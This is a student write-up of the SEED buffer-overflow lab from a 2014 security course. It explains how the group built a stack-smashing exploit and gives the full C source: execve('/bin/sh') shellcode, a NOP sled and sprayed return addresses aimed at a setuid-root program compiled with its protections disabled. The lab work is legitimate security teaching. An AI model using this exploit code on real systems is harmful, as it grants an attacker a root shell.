# CSC 650 – Buffer Overflow Lab

## By: Aleksandr Kibis, Brendan Luna, Jason Dorn, and Jordan Guinn

## 10/21/2014

This was a very tough assignment conceptually but actually really simple to implement. There were several goals that had to be accomplished in order to get the code working correctly. What we ended up realizing is that the code didn't have to have an exact offset since buffer contents were: ret\_addr, NOP, shellcode. These were segments of the buffer, with no strict limits other than for the shell code. Our first goal was to grab the stack pointer. This proved to be the most difficult part of the lab because we were unaware of C's assembly functions (\_\_asm\_\_) which converted C code into assembly. Once this was complete, the return address had to have an offset applied to it which we implemented via command line args for easier testing. After multiple runs through the test program, we saw that any offset greater than 350 (less than 492) worked. Once this calculation was made, and any additional buffer space was written with NOP's until the shell code started at index 492. Writing the shell code was taken care of using a simple for-loop. From there, the stack and exploit files were compiled using appropriate gcc options (-z execstack for exploit, -z execstack and -fno-stack-protector for stack) in addition, the stack program had to also be compiled as root and had uid set to root using chmod 4755 along with r/w/x, r/x, r/x permissions. The hardest part of this assignment, aside from earlier comments, was the environment setup. I initially started with a ubuntu 14.04 based distro (Linux Mint) which apparently had additional security checks in place which prevented the compiled program from running properly. Once the newest 12.04 based distro was downloaded from SEED, it became much easier.

## Code

/\* exploit.c \*/

/\* A program that creates a file containing code for launching shell\*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

#define DEFAULT\_OFFSET 0

char shellcode[]=

"\x31\xc0" /\* xorl %eax,%eax \*/

"\x50" /\* pushl %eax \*/

"\x68""//sh" /\* pushl $0x68732f2f \*/

"\x68""/bin" /\* pushl $0x6e69622f \*/

"\x89\xe3" /\* movl %esp,%ebx \*/

"\x50" /\* pushl %eax \*/

"\x53" /\* pushl %ebx \*/

"\x89\xe1" /\* movl %esp,%ecx \*/

"\x99" /\* cdq \*/

"\xb0\x0b" /\* movb $0x0b,%al \*/

"\xcd\x80" /\* int $0x80 \*/

;

unsigned long get\_sp(void){

\_\_asm\_\_("movl %esp, %eax");

}

void main(int argc, char \*\*argv)

{

char buffer[517];

FILE \*badfile;

char \*ptr;

long \*addr\_ptr, ret\_addr;

long ret;

int offset = DEFAULT\_OFFSET;

/\* get size (in bytes) of shellcode and buffer \*/

int shellSize = sizeof(shellcode);

int buffSize = sizeof(buffer);

/\* set offset via command line, otherwise default \*/

if(argc > 1){

offset = atoi(argv[1]);

}

/\* set ptr and addr\_ptr to buffer \*/

ptr = buffer;

addr\_ptr = (long \*) ptr;

/\* Initialize buffer with 0x90 (NOP instruction) \*/

memset(&buffer, 0x90, buffSize);

/\* You need to fill the buffer with appropriate contents here \*/

// set return address to stack pointer + offset

// (offset is the amount to jump into code)

ret\_addr = get\_sp() + offset;

printf("Return Address: 0x%x\n", ret);

int i;

// set address pointer equal to return address

for(i = 0; i < buffSize/2; i+=4){

\*(addr\_ptr++) = ret\_addr;

}

int diff = buffSize - shellSize; // 517 - 25 = 492

// for final portion of buffer, inject the shellcode

for(i = diff; i < buffSize; i++){

buffer[i] = shellcode[i - diff];

}

buffer[buffSize - 1] = '\0';

/\* Save the contents to the file "badfile" \*/

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

## Output

